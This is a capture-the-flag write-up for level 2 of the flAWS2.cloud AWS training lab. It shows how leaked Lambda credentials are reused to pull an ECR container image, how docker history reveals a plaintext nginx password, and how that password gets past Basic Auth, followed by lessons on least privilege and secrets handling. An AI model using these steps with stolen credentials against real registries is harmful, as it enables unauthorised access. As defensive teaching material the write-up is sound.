flAWS2.cloud Level 2 Writeup — Open ECR Permissions & Docker Image Secret Leak
- Level 1: Lambda Environment Variable Leak & S3
- ▸ Level 2: ECR Permissions & Docker Image Leak (this post)
Lab: flAWS2.cloud — Attacker Path
Difficulty: ★★☆☆☆ (beginner)
Services involved: ECR (Elastic Container Registry), ECS Fargate, nginx
0x00 Overview
The goal of Level 2 is a website running inside a container at http://container.target.flaws2.cloud/. When you visit it, it returns 401 Authorization Required — it's protected by nginx HTTP Basic Auth. The challenge hints that the ECR repository is named level2.
$ curl -s http://container.target.flaws2.cloud/
<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>
0x01 Recon — Enumerating the ECR Image
We still have the Lambda credentials leaked back in Level 1 (profile: flaws2), and the challenge tells us the ECR repository is called level2. Let's enumerate the image metadata directly:
$ aws ecr describe-images --repository-name level2 --region us-east-1 --profile flaws2
{
"imageDetails": [
{
"registryId": "653711331788",
"repositoryName": "level2",
"imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
"imageTags": ["latest"],
"imageSizeInBytes": 75937660,
"imagePushedAt": "2018-11-27T11:34:16+08:00"
}
]
}
We successfully pulled back the image info. This means the ECR permission setup lets us use Level 1's Lambda credentials to read from ECR. Why should a Lambda that validates a PIN code be able to read ECR at all? This is exactly the over-privilege problem.
0x02 Attack — Pulling the Image and Analyzing the Layers
Log in to ECR:
$ aws ecr get-login-password --region us-east-1 --profile flaws2 | \
docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
Login Succeeded
Pull the image:
$ docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
latest: Pulling from level2
7b8b6451c85f: Pull complete
ab4d1096d9ba: Pull complete
...
Status: Downloaded newer image for 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
A Docker image is built up as a series of layers. Each layer corresponds to a single instruction in the Dockerfile and is immutable — even if a later layer deletes a file, the content is still readable in the earlier layers. Let's use docker history to inspect every instruction that went into the image:
$ docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest --no-trunc
One line in the output is absolutely critical:
/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password
The credentials are baked in plaintext right into a RUN instruction in the Dockerfile. The username is flaws2 and the password is secret_password.
Let's also check the environment variables with docker inspect:
$ docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest | grep -i -A5 "Env"
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
There are no extra secrets in the environment variables, but the layer history alone is more than enough to recover the credentials.
0x03 Exploitation — Logging In to Reach Level 3
Use the extracted credentials to access the target site:
$ curl -s http://flaws2:[email protected]/
We're in. The page reveals the entry point to Level 3:
http://level3-redacted.flaws2.cloud
0x04 Attack Chain Summary
Leaked Lambda credentials from Level 1 (still valid)
↓
Abuse over-privilege to call ECR describe-images
↓
Log in to ECR and pull the entire container image
↓
Analyze layer history with docker history
↓
Discover the plaintext credentials in the htpasswd command
↓
Log in to nginx Basic Auth → obtain the Level 3 entry point
0x05 Lessons Learned
1. Poorly Controlled ECR Permissions
ECR repositories are private by default, but access can be granted across accounts or roles via a resource-based policy. In this challenge, Level 1's Lambda execution role was somehow able to reach ECR — a clear violation of least privilege. The right approach is for the ECR repository policy to explicitly restrict access to only the ECS Task Role or CI/CD pipeline that actually needs to pull the image, and to regularly audit each repository's permissions with aws ecr get-repository-policy.
2. Secrets Leaked Inside the Docker Image
This is an extremely common problem in the real world. The layered architecture of a Docker image means every RUN, COPY, and ADD instruction produces a permanent, immutable layer — even if a later layer runs rm to delete a file, the data still lives in the earlier layers. Common leak patterns include RUN htpasswd writing a password directly, COPY .env copying an environment file into the image, COPY id_rsa copying an SSH private key, ENV API_KEY=xxx setting secrets via environment variables, and so on. The right approach is to never write secrets into a Dockerfile or image at all: use AWS Secrets Manager or SSM Parameter Store to inject them dynamically at container runtime, or use Docker BuildKit's --secret flag to handle build-time secrets.
3. The Risk of HTTP Basic Auth on Containers
nginx HTTP Basic Auth backed by an .htpasswd file is about the most basic access control there is, but if the image gets pulled, an attacker can lift the plaintext password straight out of the build history — no hash cracking required. In a containerized environment, the authentication mechanism should be kept separate from the image, and the password should be injected at runtime through a secrets management system.
Member discussion